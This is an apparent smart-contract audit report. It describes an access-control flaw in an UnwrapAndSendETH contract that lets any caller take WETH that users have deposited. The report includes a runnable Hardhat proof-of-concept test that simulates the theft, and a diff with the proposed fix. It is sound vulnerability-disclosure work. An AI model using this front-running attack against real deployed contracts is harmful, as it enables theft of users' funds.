Summary
The UnwrapAndSendETH
contract is there to help users convert WETH to ETH, but this contract is not secure
Vulnerability Details
To use this contract, you have to deposit WETH into the contract first, then call the unwrapAndSendETH
function. The problem is that this function is not secure and anybody can call it, after WETH has been deposited into the contract, thereby Stealing the Funds. An MEV bot may be monitoring the MEMEPOOl and in other exploit the user.
@-> function unwrapAndSendETH(address to) external {
uint256 wethBalance = IWETH(WETH).balanceOf(address(this));
require(wethBalance > 0, "Insufficient WETH");
IWETH(WETH).withdraw(wethBalance);
(bool success, ) = to.call{value: address(this).balance}(
new bytes(0)
);
require(success, "Eth transfer Failed.");
}
POC
Alice wants to Unwrap 1000 WETH.
Alice sends 1000 WETH to the UnwrapAndSendETH
.
Attacker calls the unwrapAndSendETH
function passing their address as argument.
Attacker gain 1000 ETH
When Alice calls the contract are funds have already been stole
Create a file call UnwrapAndSendEth.test.js here https://github.com/Cyfrin/2024-02-Beanstalk-1/tree/main/protocol/test
copy the code snippet below and paste it on that file. Run the code with the following command
yarn hardhat test --grep "POC - Attack"
describe('UnwrapAndSend', function () {
it("POC - Attack", async function () {
const [alice, attacker, recepient] = await ethers.getSigners();
const mockWeth = await ethers.deployContract("MockWETH")
const unWrapAndSendETH = await ethers.deployContract("UnwrapAndSendETH", [mockWeth.address])
const amount = "1000000000000000000000"
await mockWeth.deposit({value: amount })
console.log("------Initial Balance--------")
console.log("Alice WETH balance: " , await mockWeth.balanceOf(alice.address))
console.log("Alice ETH balance: ", await ethers.provider.getBalance(alice.address))
console.log("Attacker ETH balance: ", await ethers.provider.getBalance(attacker.address))
await mockWeth.transfer(unWrapAndSendETH.address, amount)
console.log("\n------Balance after Alice Tranfer 1000 WETH--------")
console.log("Alice WETH balance: " , await mockWeth.balanceOf(alice.address))
console.log("Alice ETH balance: ", await ethers.provider.getBalance(alice.address))
console.log("Attacker ETH balance: ", await ethers.provider.getBalance(attacker.address))
await unWrapAndSendETH.connect(attacker).unwrapAndSendETH(attacker.address)
console.log("\n------Balance After Attack is completed--------")
console.log("Alice WETH balance: " , await mockWeth.balanceOf(alice.address))
console.log("Alice ETH balance: ", await ethers.provider.getBalance(alice.address))
console.log("Attacker ETH balance: ", await ethers.provider.getBalance(attacker.address))
})
});
Impact
Loss of Funds
Tools Used
Manual Analysis
Recommendations
The user should deposit and unwrapAndSendETH
in a single Transaction. The token should be approved before calling this function.
- function unwrapAndSendETH(address to) external {
+ function unwrapAndSendETH(address to, uint amount) external {
- uint256 wethBalance = IWETH(WETH).balanceOf(address(this));
+ IWETH(WETH).transferFrom(msg.sender, address(this), amount);
- require(wethBalance > 0, "Insufficient WETH");
- IWETH(WETH).withdraw(wethBalance);
+ IWETH(WETH).withdraw(amount);
(bool success, ) = to.call{value: address(this).balance}(
new bytes(0)
);
require(success, "Eth transfer Failed.");
}